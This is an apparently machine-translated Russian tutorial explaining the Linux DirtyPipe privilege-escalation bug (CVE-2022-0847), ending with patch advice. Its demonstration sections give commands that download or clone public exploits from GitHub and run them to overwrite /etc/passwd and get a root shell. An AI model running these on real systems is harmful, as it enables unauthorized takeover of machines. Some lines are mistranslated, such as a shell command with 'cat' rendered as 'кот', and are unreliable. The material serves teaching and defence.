Здравствуйте, дорогие друзья. Сегодня поговорим про повышение привилегий в Linux, на примере уязвимости DirtyPipe (CVE 2022-0847).
Введение
CVE 2022-0847 — это уязвимость повышения привилегий, обнаруженная Максом Келлерманом, присутствующая в самом ядре Linux после версии 5.8, которая позволяет перезаписывать данные в произвольных файлах, доступных только для чтения, или, проще говоря, позволяет непривилегированным процессам внедрять код в привилегированный/корневой процесс и, таким образом, повышать уровень привилегий. Оригинал поста с замысловатой работой и деталями можно найти здесь: https://dirtypipe.cm4all.com/
Содержание
· Бэкграунд
· Основная проблема, как она объяснена
· Некоторые общие термины и определения
· Обнаружение уязвимостей/моделирование
· Эксплуатация
· Демонстрация: метод 1
· Демонстрация: метод 2
· Статус исправления
· Заключение
Бэкграунд
Макс узнал об уязвимости после того, как попытался устранить ошибку CRC в журналах доступа. Многие пользователи cm4all.com сообщали, что ежемесячные журналы доступа, хотя и доступны для скачивания, не могут быть распакованы и выдают ошибки. Макс объясняет в своем посте, как он использовал механизм Z_SYNC_FLUSH вместе со сплайсингом для объединения файлов ежедневного журнала в ежемесячные ZIP-архивы, доступные для загрузки через HTTP. При ближайшем рассмотрении он обнаружил проблемы с рутом.
Основная проблема, как она объяснена
Позвольте мне потратить некоторое время на то, чтобы перефразировать формулировку проблемы, упомянутую Максом, которая привела к обнаружению этой уязвимости.
После изучения zip-файлов журнала доступа, предоставленных потребителями, он поделился следующим шестнадцатеричным дампом общего файла:
81 d6 94 39 81 05 b0 ed e9 c0 fd 07 00 00 ff ff 03 00 9c 12 0b f5 f7 4a 00 00
00 00 ff ff: синхронизация сброса байтов
03 00: пустой «последний» блок
9c 12 0b f5: CRC zip-файла.
f7 4a 00 00: Длина файла в десятичных дробях = 19191 байт.
Однако поврежденный файл показал следующий шестнадцатеричный дамп:
81 d6 94 39 81 05 b0 ed e9 c0 fd 07 00 00 ff ff 03 00 50 4b 01 02 1e 03 14 00
50 4b 01 02: Изменена CRC! 50 4b представляет ASCII для «PK». 01 02 представляет код заголовка файла центрального каталога.
1e 03 14 00: Изменена длина файла в десятичном формате 1,3 Мб.
Как мы видим, CRC изменился и теперь представляет буквы «PK», которые являются заголовком для файлов *.zip и заголовком файла центрального каталога. 1e 03 равно 30 (UNIX v3.0), а 14 00 — это версия, необходимая для извлечения (переведенная в ASCII 20 или v2.0)
Учитывалось только 8 байт, а остальные усекались.
Оказывается, повреждение произошло из-за ошибки канала. Видите ли, когда Вы объединяете ежедневные журналы за месяц, это происходит следующим образом:
День 1+ День 2 + …. + День 31
Он становится ZIP-файлом, когда объединяются все 31 день. Следовательно, на 31-й день создается файл filename.zip. При объединении журналов прошлого дня возникает ошибка канала, которая перезаписывает CRC заголовком ZIP, то есть часть «PK» вместе с другими деталями.
Некоторые общие термины и определения
Страница: наименьшая единица памяти, управляемая процессором. Размер блока 4 КБ. Если процесс запрашивает память, ЦП выделяет этому процессу несколько страниц, управляемых «кэшем страниц». Каналы используют ссылку на страницу для передачи обслуживания памяти.
Канал: соединение между двумя системными процессами, при котором стандартный вывод одного процесса становится стандартным вводом другого процесса. Это односторонний метод связи.
echo «abc» | кот > /dev/null
В приведенном выше случае echo — это STDOUT, а cat принимает «abc» в качестве STDIN. Эти входные данные в канале обрабатываются файловыми дескрипторами.
что интересно, «|» также называется оператором трубы. Весьма буквально!
Дескриптор файла (FD): целое число, которое однозначно идентифицирует открытый файл процесса. Оно находится в диапазоне от 0 до 1023.
0 => зарезервировано для STDIN
1 => зарезервировано для STDOUT
2 => STDERR
от 3 до 1023 => настраиваемый
Таким образом, труба становится:
FD[1] [конец записи] (выход канала) <= FD[0] [окончание чтения] (вход канала)
Splice: splice() перемещает данные между двумя файловыми дескрипторами без копирования между адресным пространством ядра и адресным пространством пользователя. Он передает до len байт данных из файлового дескриптора fd_in в файловый дескриптор fd_out, где один из файловых дескрипторов должен ссылаться на канал.
Формат: сращивание (FD0, смещение FD0, FD1, смещение FD1, длина, флаги);
Таким образом, предоставляя в FD1 запись в файл и чтение из FD0, монтаж может записывать в файлы.
Функция записи: write() в C может помочь пользователю записать в любой файл, а когда используется сращивание, write() также может предоставлять входные данные в канал.
Формат: write(FD1, буфер для записи, размер буфера);
Обнаружение уязвимостей/моделирование
Из поврежденных журналов доступа Макс обнаружил, что из-за ошибки канала в zip-файл записываются непреднамеренные данные. Он смоделировал то же самое:
Шаг 1: откройте файл «foo» и напишите в нем «AAAAA». Псевдокод такой:
int main()
{
for(;;) write(1, "AAAAA", 5);
}
Шаг 2: создайте канал со смещением 0, ведущий к foo.txt в конце WRITE.
Шаг 3: Соедините и запишите в этот канал еще одну строку «BBBBB».
Шаг 4. Кэш страниц перезаписывается
Псевдокод для шагов со 2 по 4 выглядит следующим образом:
int main()
{
for(;;)
{
splice(0,0,1,0,2,0);
write(1,"BBBBB",5);
}
Обнаружение: строка «BBBBB» записывается в файл foo, хотя у второго процесса не было разрешения на запись в файл foo.
Что является причиной этого: у функции PIPE_BUF_FLAG_CAN_MERGE отсутствовала инициализация флага.
«Внедряя PIPE_BUF_FLAG_CAN_MERGE в ссылку на страничный кэш, можно перезаписать данные в страничном кэше, просто записывая новые данные в подготовленный особым образом канал».
Эксплуатация
Если Вы разобрались в обнаружении и моделировании уязвимости в канале, за ее эксплуатацией довольно легко следить. Видите ли, до сих пор мы узнали, как запись в файл посредством ввода данных через канал может вызвать произвольную запись в файл. Таким образом, эксплуатация заключается в следующем:
· Создать трубу
· Заполните канал произвольными данными (чтобы установить флаг PIPE_BUF_FLAG_CAN_MERGE во всех записях кольца)
· Drain the pipe
· Вставьте данные из целевого файла (открытого в режиме ReadOnly) в канал непосредственно перед целевым смещением.
· Запишите произвольные данные в канал. Теперь это приведет к перезаписи кэша страниц, поскольку установлен PIPE_BUF_FLAG_CAN_MERGE!
Это работает, потому что ядро всегда доступно для записи в кэш страниц, а запись в канал никогда не проверяет наличие каких-либо разрешений.
Макс привел пример кода эксплойта в исходной статье, который работает отлично, однако мы не будем использовать его здесь.
Здесь мы продемонстрируем два метода, которые перенаправляют данные в файл «/etc/passwd» и предоставляют нам права sudo. Вы можете следить за GTFObins, чтобы понять этот метод.
Демонстрация: метод 1
Инструмент Лиама под названием «traitor» недавно был обновлен и теперь включает в себя эксплойт для CVE 2022-0847. Для начала давайте посмотрим, является ли наш пользователь «ignite» обычным пользователем.
Идеально, пользователь с низким уровнем приватности. Чтобы загрузить исполняемый файл ELF, Вы можете:
wget https://github.com/liamg/traitor/releases/download/v0.0.14/traitor-amd64
Теперь Вам нужно предоставить ему разрешения на выполнение и запустить его, чтобы определить, уязвима ли текущая ОС для DirtyPipe или нет. Как видите, ядро 5.13 уязвимо для этого эксплойта!
chmod 777 traitor-amd64
./traitor-amd64
Чтобы запустить эксплойт, мы можем просто запустить эту команду:
./traitor-amd64 --exploit kernel:CVE-2022-0847
whoami
id
И вот так мы добились повышенных привилегий! Эксплойт запустился, внес данные в /etc/passwd, что сделало моего текущего пользователя root, а затем автоматически создал оболочку!
Демонстрация: метод 2
Руководствуясь теми же рекомендациями, Аринеррон создал эксплойт на языке C. Он создает резервную копию /etc/passwd, вводит данные, а затем восстанавливает и запускает оболочку с правами root!
Чтобы загрузить, скомпилировать и запустить это, вы можете выполнить следующие команды:
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
cd CVE-2022-0847-DirtyPipe-Exploit
./compile.sh
./exploit
И вот так мы теперь root!
Статус исправления
Уязвимость исправлена в Linux 5.16.11, 5.15.25 и 5.10.102, новые исправления продолжаются.
Заключение
DirtyPipe — это серьезная уязвимость с вектором атаки низкой сложности. Организации должны немедленно устанавливать в свои системы новейшие исправления ядра по мере их выпуска. Надеюсь, Вам понравилась статья и спасибо, что прочитали ее.